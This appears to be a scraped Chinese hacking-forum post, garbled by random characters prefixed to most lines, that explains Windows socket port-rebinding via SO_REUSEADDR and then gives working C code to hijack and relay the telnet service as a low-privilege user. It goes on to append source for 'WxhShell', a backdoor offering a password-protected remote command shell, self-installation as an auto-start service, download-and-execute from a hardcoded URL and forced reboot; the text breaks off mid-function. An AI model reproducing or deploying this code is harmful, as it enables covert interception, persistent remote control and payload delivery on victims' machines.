在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
d`XC._%^J s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
WxLmzSz{xD jfLkp>2E' saddr.sin_family = AF_INET;
YK=o[nPmK gv6}GE saddr.sin_addr.s_addr = htonl(INADDR_ANY);
)}Vb+ \zdY$3z bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
Ky r3)1#J H3}eFl=i2 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
D2,2Yy5y jD<fu 这意味着什么?意味着可以进行如下的攻击:
q7z;b A -T,/S^ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
Wl29xY}`{! Q;V*M 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
6'F4p1VG*I (Yv )%2 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
&7fwYV x;F^7c1 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Y , }k{h^!fV 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
lI)RaiMr= A>bpP 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
Q.b<YRZ rUz-\H(- 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
: xBG~D eZck$]P(6H #include
C.#\Pz0 #include
=*[98%b
#include
@)IHd6 R #include
$:4*?8K2 DWORD WINAPI ClientThread(LPVOID lpParam);
-|FSdzvg int main()
46(=*iT&V {
2_i9
q>I WORD wVersionRequested;
`pTCK9 DWORD ret;
Q4[^JQsR2 WSADATA wsaData;
W5f|#{&L: BOOL val;
T'K6Q cu SOCKADDR_IN saddr;
fPA5]a9 SOCKADDR_IN scaddr;
oPbxe int err;
k0/S&e,* SOCKET s;
Qm >x? SOCKET sc;
O/N@Gz[g% int caddsize;
z2
m(<zb HANDLE mt;
W>HGB DWORD tid;
B(zcoWQ*B wVersionRequested = MAKEWORD( 2, 2 );
`a+"[% err = WSAStartup( wVersionRequested, &wsaData );
sx]kH$ if ( err != 0 ) {
- Mubq printf("error!WSAStartup failed!\n");
X%sMna) return -1;
1[4)Sq? }
CC~:z/4,N saddr.sin_family = AF_INET;
lR8Lfa*/7 dsiQ~ [
//截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
pVa9g)+z} zQ=c6xvm8 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
:MF F*1 saddr.sin_port = htons(23);
zF([{5r[!) if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
M#CYDEB {
7%0V ?+]P printf("error!socket failed!\n");
H[M(t^GM return -1;
Y;uQq-C P }
$.0l% $ 7 val = TRUE;
1OOMqFn} L //SO_REUSEADDR选项就是可以实现端口重绑定的
Fs}vI~} if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
A7c*qBt {
(]}52%~ printf("error!setsockopt failed!\n");
~0T;T return -1;
NE1n 9 }
%0MvCm //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
v*[oe //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
YKV?I
//其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
~5@bWJ ~B704i if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
{S6:LsFfm {
d&x #9ka ret=GetLastError();
# ^q87y printf("error!bind failed!\n");
pG-9H3[f# return -1;
>K@Y8J+e# }
IJQ"
*; listen(s,2);
CUI\:a- while(1)
v\}s(X(J {
rFLm!J] caddsize = sizeof(scaddr);
iU1yJ= //接受连接请求
(/;<K$u*h sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
(l_/ HQ32 if(sc!=INVALID_SOCKET)
>gSiH#> {
pj9*$.{ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
kwAL]kI if(mt==NULL)
s)BB(vQ]6 {
}c?W|#y`.o printf("Thread Creat Failed!\n");
Po*G/RKu4W break;
98ot{+/LK }
<oKoz0! }
L}hc|(: CloseHandle(mt);
T?e(m }
WFm\ bZ. closesocket(s);
6cVJu%<V WSACleanup();
vAt]N)R return 0;
dc=}c/6x }
b
sM]5^ DWORD WINAPI ClientThread(LPVOID lpParam)
ZFFKv {
De^Uc SOCKET ss = (SOCKET)lpParam;
uWjSqyb: SOCKET sc;
}v4T&/vt- unsigned char buf[4096];
CY</v,\:# SOCKADDR_IN saddr;
{Lg]chJq? long num;
u5O`|I@R DWORD val;
kD\7wz,ui DWORD ret;
Y2d(HD@ //如果是隐藏端口应用的话,可以在此处加一些判断
nAT,y9& //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
VBq|j"o0" saddr.sin_family = AF_INET;
k%Wj+\93f saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
,ui=Wi1 saddr.sin_port = htons(23);
1a]QNl_x if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
K'f`}y9 {
"STd ;vR printf("error!socket failed!\n");
$,
vXyZ return -1;
wmDO^}>ZP }
+[B@83 val = 100;
4d63+iM+} if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
aQHB {
SSn{,H8/j ret = GetLastError();
PdqyNn= return -1;
S.R|Bwj}(Y }
P<C=9@`! if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
n`.JI(| {
A/sM
?!p>_ ret = GetLastError();
.r~M7 I return -1;
HAmAmEc, }
t_kRYdW 9 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
^^T
xx {
gaWJzK
Yc_ printf("error!socket connect failed!\n");
PrhGp
_5 closesocket(sc);
$!7$0WbC closesocket(ss);
/N7.|XI. return -1;
+!cibTQTT }
Vb,'VN% while(1)
`5
Iaz {
fk2p} //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
3YD.Fjz$ //如果是嗅探内容的话,可以再此处进行内容分析和记录
+'9E4Lpx //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
1O2jvt7M num = recv(ss,buf,4096,0);
5pH6] $ if(num>0)
V/]o': send(sc,buf,num,0);
_c>8y else if(num==0)
M
\UB
r4 break;
Kh7C7[& num = recv(sc,buf,4096,0);
\49s;\I] if(num>0)
MW|R)gt send(ss,buf,num,0);
Ejj+%)n. else if(num==0)
s"~3.J break;
-"6Z@8= }
#|/+znJm closesocket(ss);
|ZG0E closesocket(sc);
.'bhRQY return 0 ;
nL+y"O }
d}<-G.&_ r"!xI dy]ZS<Hz8G ==========================================================
elz0t<V e2kW,JV/<$ 下边附上一个代码,,WXhSHELL
<>H^:iqn \V
T.bUs ==========================================================
(_=R<: 5c$\DZ( #include "stdafx.h"
9qvl9,*g v8K`cijSS #include <stdio.h>
o(yyj'=( #include <string.h>
Y|S>{$W #include <windows.h>
U(2=fKK; #include <winsock2.h>
%+oqAYm+s #include <winsvc.h>
o37D~V; #include <urlmon.h>
dF><XZph B Q2N_*v #pragma comment (lib, "Ws2_32.lib")
hQeG#KQ #pragma comment (lib, "urlmon.lib")
g3f;JB EHK+qrym #define MAX_USER 100 // 最大客户端连接数
beB3*o #define BUF_SOCK 200 // sock buffer
intl?&wC #define KEY_BUFF 255 // 输入 buffer
1A[(R T] Ygc|9} #define REBOOT 0 // 重启
2I283%xr #define SHUTDOWN 1 // 关机
1024L; LtUvFe #define DEF_PORT 5000 // 监听端口
pj$kSS|m6- 3H|drj:KV #define REG_LEN 16 // 注册表键长度
7CH.BY #define SVC_LEN 80 // NT服务名长度
@`ii3&W4 A4(k<<xjE // 从dll定义API
>+DMTV[O typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
}<zbx*! typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
LTB
rg[X typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
hkdF typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
YFDOp* iH~A7e62OZ // wxhshell配置信息
qWf[X' struct WSCFG {
iCCe8nK int ws_port; // 监听端口
_l+C0lQl= char ws_passstr[REG_LEN]; // 口令
&xZSM, int ws_autoins; // 安装标记, 1=yes 0=no
f8ZuG !U char ws_regname[REG_LEN]; // 注册表键名
_Tm]tlV char ws_svcname[REG_LEN]; // 服务名
7!wc'~; char ws_svcdisp[SVC_LEN]; // 服务显示名
Kv)} char ws_svcdesc[SVC_LEN]; // 服务描述信息
!a25cm5ys char ws_passmsg[SVC_LEN]; // 密码输入提示信息
?J-\}X int ws_downexe; // 下载执行标记, 1=yes 0=no
O<#8R\v char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
e<(6x[_ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
K]uH7-YvL/ v7Ps-a) };
y0-UO+; ?1zGs2Qs // default Wxhshell configuration
v+}${h9 struct WSCFG wscfg={DEF_PORT,
1Wiz0X/ "xuhuanlingzhe",
>; tE.CJH 1,
n`@dk_%yI "Wxhshell",
"Q:h[) a "Wxhshell",
EJRkFn8XG' "WxhShell Service",
&=kb>* "Wrsky Windows CmdShell Service",
q"oNFHYPDs "Please Input Your Password: ",
Ftd,dqd 1,
Ji:<eRx) "
http://www.wrsky.com/wxhshell.exe",
a>rDJw: "Wxhshell.exe"
QPh3(K1w^ };
7\[fjCg\w z&Aya*0v` // 消息定义模块
X;2LK!x;y char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
7=5eLc^ char *msg_ws_prompt="\n\r? for help\n\r#>";
dsj}GgG?Z char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
=FI[/"476 char *msg_ws_ext="\n\rExit.";
sH_,P char *msg_ws_end="\n\rQuit.";
%K.r rn M char *msg_ws_boot="\n\rReboot...";
0w0{@\9 char *msg_ws_poff="\n\rShutdown...";
Jz3,vVfQ: char *msg_ws_down="\n\rSave to ";
8ICV"8( W amOg0 char *msg_ws_err="\n\rErr!";
D6|-nl char *msg_ws_ok="\n\rOK!";
z1
MT@G)S$ MB $aN': char ExeFile[MAX_PATH];
rGXUV`5Na int nUser = 0;
cIG7Q"4 HANDLE handles[MAX_USER];
eG8l^[ int OsIsNt;
:=TIq U*E)y7MY SERVICE_STATUS serviceStatus;
S D{ )Sq SERVICE_STATUS_HANDLE hServiceStatusHandle;
p!=O>b_f &"I csxG // 函数声明
{7c'%e int Install(void);
GN9kCyPK int Uninstall(void);
Crg'AB? int DownloadFile(char *sURL, SOCKET wsh);
y+w,j] int Boot(int flag);
tl\<:8pI" void HideProc(void);
2<y9xvp int GetOsVer(void);
"}`)s_rt int Wxhshell(SOCKET wsl);
T_=WX_h $ void TalkWithClient(void *cs);
MpGG}J[y int CmdShell(SOCKET sock);
EG|dN(qh int StartFromService(void);
D>@NYqMF int StartWxhshell(LPSTR lpCmdLine);
c.b| RM0; Mqvo
j7 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Z
b$]9(RS VOID WINAPI NTServiceHandler( DWORD fdwControl );
%Nvw`H # Q,EL73; // 数据结构和表定义
_oCNrjt9 SERVICE_TABLE_ENTRY DispatchTable[] =
Bt(<Xj D {
zBTW& {wscfg.ws_svcname, NTServiceMain},
1' v!~*af {NULL, NULL}
Ez0zk9 };
jBOl:l,+ D9A%8[Yo // 自我安装
kaB4[u int Install(void)
G$MEVfd" {
L YF| char svExeFile[MAX_PATH];
'ScvteQ HKEY key;
z'& fEsjy strcpy(svExeFile,ExeFile);
3^~J;U!3 zU+q03l8Ur // 如果是win9x系统,修改注册表设为自启动
$P?^GB>u if(!OsIsNt) {
y^}uL|= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
vno/V#e$WX RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
FA$32*v RegCloseKey(key);
2~?E' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
dCTyfXou[= RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
cPNc$^Y RegCloseKey(key);
J;8d-R5 return 0;
qJrKt=CE }
uHSnZ"# }
[i ~qVn2vT }
=(D"(OsQ/ else {
(H !iK,R 3U+FXK#6 // 如果是NT以上系统,安装为系统服务
-|uoxj> SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
BB(6[V"SV if (schSCManager!=0)
n*=#jL {
jxkjPf? SC_HANDLE schService = CreateService
2*V[kmD/3 (
Lm2)3;ei schSCManager,
Gw$ 5<%sB wscfg.ws_svcname,
X]D,kKasG wscfg.ws_svcdisp,
/0XMQy SERVICE_ALL_ACCESS,
ucx02^uA SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
~BmA!BZV` SERVICE_AUTO_START,
}\?9Prsd SERVICE_ERROR_NORMAL,
hyf
;f7`o svExeFile,
+K`A2&F9 NULL,
}QE*-GVv] NULL,
jTcv&`fAz NULL,
(;},~( 2B NULL,
u6ULk<<\ NULL
F9u?+y-xb );
J4"Fj, FS if (schService!=0)
x~!|F5JbM {
SULFAf< CloseServiceHandle(schService);
"U-jZ5o" CloseServiceHandle(schSCManager);
4>>=TJ!M strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
BA]$Fi.Mw strcat(svExeFile,wscfg.ws_svcname);
bTaKB- if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
S*V}1</L RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
-9i7Ja RegCloseKey(key);
hcj}6NXc return 0;
Lr$Mk#'B }
_Ns EeKU }
VIP7j(#t_g CloseServiceHandle(schSCManager);
/q]rA }
Ec@n<KK# }
rQVX^ l}))vf=i return 1;
fORkH^Y(& }
rG-T Dm go uU // 自我卸载
0Ds3wNz int Uninstall(void)
'rcqy1-& {
}'$PYAf6 HKEY key;
"+F'WCJ-(* 8s0+6{vW if(!OsIsNt) {
Xo34~V@( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
::|~tLFu RegDeleteValue(key,wscfg.ws_regname);
;Y?MbD RegCloseKey(key);
/o;M
?Nt6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Q5+1'mzAB RegDeleteValue(key,wscfg.ws_regname);
d#g))f; RegCloseKey(key);
-b(DPte return 0;
sS>b}u+v#! }
L=r*bq }
%=`JWLLG }
\HfAKBT else {
{{?g%mQ6
Q.g/ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
=&WIa#!= if (schSCManager!=0)
e5|lz.o; {
;o_F<68QP SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
P8tdT3*6/ if (schService!=0)
-K64J5|b7 {
9P?0D if(DeleteService(schService)!=0) {
@rTB&>` CloseServiceHandle(schService);
Zse&{ CloseServiceHandle(schSCManager);
I\~[GsDY return 0;
] G&*HMtp }
7*!7EBb CloseServiceHandle(schService);
gq7tSkH@ }
i5VZ,E^E CloseServiceHandle(schSCManager);
=@HS }
!6!)H8rX }
{M]_]L{&7 ?d7,0Ex
P return 1;
X0lPRk53( }
Bm$|XS3cD ^4dE8Ve"@ // 从指定url下载文件
cb}"giXQTB int DownloadFile(char *sURL, SOCKET wsh)
XUqorE {
0a~t HRESULT hr;
(2g
a:}K char seps[]= "/";
Ipp_}tl_ char *token;
-'! J?~ char *file;
`Ij@;=( char myURL[MAX_PATH];
AI|vL4*Xd char myFILE[MAX_PATH];
"tJ+v*E 4&iQo' strcpy(myURL,sURL);
|7qt/z token=strtok(myURL,seps);
4Uy% wB while(token!=NULL)
z$~x 2< {
3_(_yEKx file=token;
380` >"D token=strtok(NULL,seps);
WR;1 }
OM86C #@R0$x GetCurrentDirectory(MAX_PATH,myFILE);
@- U\!Tf strcat(myFILE, "\\");
H QqFrR
strcat(myFILE, file);
1[FN: hm send(wsh,myFILE,strlen(myFILE),0);
ARH~dN* C send(wsh,"...",3,0);
C/kf?:j hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
pv_o4qEN if(hr==S_OK)
"#Rh\DQ return 0;
^_2c\mw_I else
0=Z[6Q@: return 1;
#}`sfaT "Ep"$d }
*dl hRa D6"=2XR4n // 系统电源模块
LEb$Fd int Boot(int flag)
<kh.fu@.Q {
b^o4Q[ HANDLE hToken;
+|A`~\@N TOKEN_PRIVILEGES tkp;
P}R:o amBg<P`'_ if(OsIsNt) {
=sJ?]U OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
d"wA"*8~y LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
?nU<cx h tkp.PrivilegeCount = 1;
+
G@N tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
mZ)>^.N6 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
I2[U #4n if(flag==REBOOT) {
!T6R[ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
`4Yo-@iVP return 0;
`#""JTA" }
bo0U else {
N\{"&e if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
hnj\|6L return 0;
at uqo3 }
Bf{u:TCK }
l;-Ml{}|0 else {
`fv5U% if(flag==REBOOT) {
i|:!I)(lh if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
>eJ<-3L; return 0;
GZ%vFje_
K }
uwe#&